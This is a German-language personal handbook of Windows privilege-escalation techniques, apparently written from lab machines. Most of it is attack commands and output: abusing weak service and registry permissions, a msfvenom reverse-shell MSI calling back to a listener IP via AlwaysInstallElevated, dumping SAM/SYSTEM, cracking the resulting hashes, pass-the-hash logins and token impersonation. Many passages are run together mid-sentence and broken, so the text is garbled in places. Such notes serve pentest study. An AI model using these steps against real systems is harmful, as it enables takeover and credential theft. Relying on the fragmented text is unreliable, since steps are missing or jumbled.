
Mein Handbuch zu Konzepten der Windows-Privilegienausweitung. Schau dir unbedingt meine Playlist an, Link: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
Ein wichtiger Punkt, den man beachten sollte, sind Gruppen: Jeder Benutzer der Gruppe Administratoren hilft uns bei der Eskalation!
whoami /priv - Rechte des aktuellen Benutzersnet users - listet alle Benutzer aufnet user <username> - listet Details eines bestimmten Benutzers aufqwinsta - Andere Benutzer, die gleichzeitig angemeldet sindnet localgroup - Im System verfügbare Gruppennet localgroup <group-name> - listet Mitglieder einer bestimmten Gruppe aufsysteminfo - liefert alle Informationen über das Betriebssystemhostname - Hostname des Systemsfindstr /si password *.txt - wir suchen nach Dateien, die "password" enthalten, und zwar in Textdateienwmic qfe get Caption,Description,HotFixID,InstalledOn - zeigt Informationen zu Sicherheitspatches und damit zusammenhängende Informationennetstat -ano - mit dem Rechner verbundene Verbindungensysteminfo-Tools auf deinem Rechner – das ist die einzige Voraussetzung für dieses Toolwmic product get name,version,vendor - liefert Produktname, Version und Hersteller. Dieser spezielle Befehl liefert eine ordentliche Darstellung dessen, was wir brauchen.wmic service list brief | findstr "Running" und um weitere Informationen über den Dienst zu erhalten, verwende sc qc <ServiceName>post/multi/recon/local_exploit_suggester aus. Stelle sicher, dass deine Session im Hintergrund läuft, damit dieses Tool ordnungsgemäß funktioniert, oder du kannst es einfach aus Meterpreter laden.winpeas.exe --help ausführst.systeminfo ausführst, und kopierst diese in eine beliebige Datei und benennst sie mit der Endung .txtHier versuchen wir, Dienste mit unsicheren Berechtigungen zu identifizieren und diese dann auszunutzen.
Hier können wir den Befehl winpeas.exe servicesinfo verwenden und sehen uns die Dienste an, die ziemlich hilfreich sind
Ein interessanter Teil der Ausgabe sieht so aus,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- Aber um weitere Informationen zu erhalten, können wir ein von Microsoft stammendes Tool namens **accesschk** verwenden. Führen Sie es wie folgt aus: `accesschk.exe /accepteula -uwcqv <current-user> <service>`. Die Ausgabe ist:```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config, womit wir die Konfiguration des Dienstes ändern können.sc qc <service> aus und notieren Sie dann den Binary_path_name (dieser kann auch als binpath bezeichnet werden), den wir ändern werden (böses Lächeln).sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" aus und starten Sie dann den Dienst sc start daclsvc.Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- Um weitere Informationen zu erhalten, verwende einfach das **WinPEAS**-Skript mit der Option `servicesinfo`. Hier können wir sehen, ob wir einen **Unquoted Service Path** ausnutzen können. Hier habe ich das Tool ausgeführt und der interessante Teil der Ausgabe sieht wie folgt aus,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>C:\Program Files\Unquoted Path Service mit accesschk. Führe dazu accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" aus. Ausgabe:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- Wir haben Lese- und Schreibrechte.
- Jetzt erstellen wir einen Payload und legen ihn in `C:\Program Files\Unquoted Path Service` ab, mittels `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`. Hier verwende ich einen anderen Namen, was auch einen Vorteil bei der alphabetischen Reihenfolge hat.
- Jetzt starten wir den Dienst, `sc start unquotedsvc`, wir sind Admin!!!
-----------------------
### Schwache Registry-Berechtigungen:
- Hier werden wir versuchen, Dienste mit schwachen Registry-Berechtigungen auszunutzen.
- Um danach zu suchen, müssen wir `Winpeas` mit der Option `servicesinfo` verwenden. Die Ausgabe sieht ähnlich aus wie folgt:```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
Nun gehen wir zum Namen des Dienstes, der regsvc ist, also lass uns tiefer in diesen Dienst eintauchen, also führe sc qc regsvc aus und die Ausgabe ist,```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- Ein cooler Fakt ist, dass der Pfad in Anführungszeichen steht, also kein **Unquoted Service Path**.
- Jetzt lass uns `accesschk.exe` ausführen und tiefer graben, also führe `accesschk /acceptula -uvwqk <path of registry>` aus (das ist `HKLM\system\currentcontrolset\services\regsvc`).
- Suche in der Ausgabe nach `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` und schon können wir es ausnutzen.
- Nun lass uns die Optionen in der Registrierung ansehen, indem wir `reg query HKLM\system\currentcontrolset\services\regsvc` verwenden, und ich habe eine Option namens `ImagePath` gefunden, die einen ausführbaren Wert akzeptiert. Also lass uns das ausnutzen. Erstelle zuerst eine Reverse-Shell.
- Jetzt führe `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f` aus, wähle den Pfad der Payload nach deinen Anforderungen.
- Jetzt starte den Dienst mit `net start regsvc` und hurra! Ich habe die Shell.
-----------------------
### Unsichere Dienst-Executables:
- Hier sind die Dateiberechtigungen eines Dienstes für alle zugänglich! Wir versuchen, die ausführbare Datei des Dienstes zu ändern, und schon können wir loslegen!
- Lass uns **Winpeas** speziell mit dem **servicesinfo**-Modul ausführen und schauen, ob etwas Interessantes dabei ist, und die Ausgabe ist:```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc, also erstellen wir einen reverse_shell-Payload und ersetzen damit die ausführbare Datei des Dienstes, und wir erhalten eine Shell.reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ausführen - dies zeigt Autostart-Programme und ihre Pfade an.- Wir haben 2 Programme mit Pfad, also lasst uns testen.
- Jetzt führen wir **accesscheck** aus, um zu prüfen, welche Berechtigungen für den Dateipfad dieser Autostart-Einträge verfügbar sind.
- Führe einfach `accesschk.exe \accepteula -wvu "<path>"` aus. Ich habe das für den Autostart-Pfad von **My Program** ausgeführt und die Ausgabe zeigte `FILE_ALL_ACCESS`, wir können also buchstäblich alles in diesem Ordner tun. Hauptsächlich können wir die ursprüngliche ausführbare Datei ersetzen und das System neu starten, und dann erhalten wir die Shell.
- Nun müssen wir warten, bis sich der Admin anmeldet, und wir erhalten die Shell als privilegierter Benutzer!
- Der Haken ist, dass wir warten müssen, bis sich der Admin/Besitzer anmeldet, und dann sind wir startklar!
------------------------------
### AlwaysInstallElevated
- Es erlaubt Standardbenutzern, **msi**-Pakete (Microsoft Installer) mit Administratorrechten zu installieren.
- Das ist cool und ein einfacher Weg, um höhere Privilegien zu erlangen.
- Wir können das mit folgendem Befehl überprüfen:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` und
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Führe beide Befehle aus. Der Wert für **AlwaysInstallElevated** muss 1 oder 0x1 sein. So können wir es bestätigen und weitermachen.
- Erstelle nun eine Reverse-Shell im **msi**-Format, siehe dazu den folgenden Befehl:
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Übertrage das nun auf die Windows-Maschine und führe den folgenden Befehl aus:
`msiexec /quiet /qn /i reverse.msi`
- Hurra! Wir haben die Shell als `nt authority\system` erhalten.
------------------
-------------------
## Passwörter:
- Hier suchen wir nach Anmeldeinformationen in der Registrierung, Dateien usw.
- Und wir werden versuchen, uns anzumelden!
----------------------
### Nach Passwörtern in der Registrierung suchen:
- Wir können die Registrierung nach Passwörtern durchsuchen; manchmal finden wir Passwörter anderer Benutzer oder sogar das Passwort des Besitzers.
- Führe `reg query HKLM /f password /t REG_SZ /s` aus. Das liefert alle Details in der Registrierung, die die Zeichenfolge **password** enthalten. Suche, und du könntest es finden! Aber das Traurige ist, dass ich keine finden konnte!
- Führe auch `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
` aus, möglicherweise finden wir einige Informationen.
- Wir können auch unser legendäres Tool **winPEAS** verwenden, mit Optionen wie `windowscreds` – sucht nach Anmeldeinformationen, sowie `filesinfo` – untersucht Dateien und Registrierung auf nützliche Daten (manchmal auch Passwörter).
- Nachdem wir das Passwort erhalten haben – hier ist es `password123` – melden wir uns nun mit Hilfe von **psexec** an (Link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py). Die Syntax lautet `python3 psexec.py [email protected]`. Dann werden wir nach dem Passwort gefragt; gib es ein und wir erhalten Zugriff wie der Admin!
-------------------------
### Passwörter: Gespeicherte Anmeldeinformationen
- Führe zuerst `cmdkey /list` aus. **cmdkey** ist eine Windows-Server-Anwendung, die gespeicherte Benutzernamen und Kennwörter oder Anmeldeinformationen *erstellt, auflistet und löscht*. Durch die Ausführung können wir sehen, welche Anmeldeinformationen von Benutzern gespeichert sind!
- Die Ausgabe ist:```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe aus, das verschafft uns die AdministratorrechteC:\Windows\Repair hinterlegt, damit wir spielen können! In diesem Verzeichnis gibt es 2 Dateien, nämlich SAM und SYSTEMdownload erhalten.python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM. Er zeigt die Hashes der Benutzer an, die auf der Windows-Maschine verfügbar sind. Die Ausgabe ist:```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::- Speichere jetzt den obigen Inhalt in einer Textdatei und knacke ihn mithilfe von **JohnTheRipper**, die Syntax lautet `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, und es wurde geknackt!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0da istexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da – hier verwenden wir den Hash zusammen mit der Gruppen-IDpth-winexe -U admin% //10.10.213.97 cmd.exe aus; ich habe eine Shell als admin bekommenpth-winexe ist in kali bereits verfügbar.schtasks /query /fo LIST /V ausCleanUp.ps1 interessant zu sein, und der Pfad ist C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 – und wir haben alle Rechte zum Lesen, Schreiben usw.- Then habe ich es übertragen und als `CleanUp.ps1` umbenannt und eine Verbindung erhalten.
--------------------
---------------------
## Unsichere GUI-Apps:
- Nachdem wir eine RDP-Verbindung erhalten haben, öffnen wir den `Taskmanager` und dort im Tab `Details` sehen wir die Anwendungen und den Benutzer, der sie ausführt.
- Hier haben sie `mspaint.exe` absichtlich so konfiguriert, dass es als Administrator ausgeführt wird, also wird dies unser Ziel sein.
- Da wir mit **Paint** arbeiten, haben wir die Möglichkeit, Dateien zu öffnen. Also öffnen wir `file://c:/windows/system32/cmd.exe` und zack! Wir erhalten die Shell als **Admin**-Benutzer!
- Hier ist die Funktionalität etwas eingeschränkt, da wir nicht immer eine RDP-Verbindung bekommen.
-----------------------
----------------------
## Autostart-Apps:
- Windows verfügt über eine Funktion, die es einigen Apps erlaubt, beim Start ausgeführt zu werden. Wir können diese Funktion ausnutzen.
- Autostart-Apps befinden sich unter `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, das ist der Standardpfad.
- Lass uns prüfen, was wir mit **accesschk.exe** machen können. Führen wir also `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"` aus. Die Ausgabe ist,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs, das mit Administratorrechten läuft und dessen Hauptzweck es ist, einen shortcut für die Reverse-Shell zu erstellen, die wir hochgeladen haben.list_tokens -u in einer Meterpreter-Sitzung ausführen. Nachdem wir ein interessantes Token gefunden haben, führen wir impersonate_token <Name des Tokens> aus.whomai /priv ausführen und die Privilegien des aktuellen Benutzers sehen. Wenn wir dort ein Privileg wie SeAssignPrimaryToken usw. finden, ist das ziemlich gefährlich – das ist extrem gefährlich! Um mehr über diese Privilegien zu erfahren und wie man sie ausnutzt, sieh dir diesen Artikel an: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System zu erlangen.
[Noch in Arbeit.....]schtasks /query /fo LIST /v - nach geplanten Aufgaben suchendriverquery - listet treiberbezogene Informationen aufsc query windefend - sucht nach Antivirendienst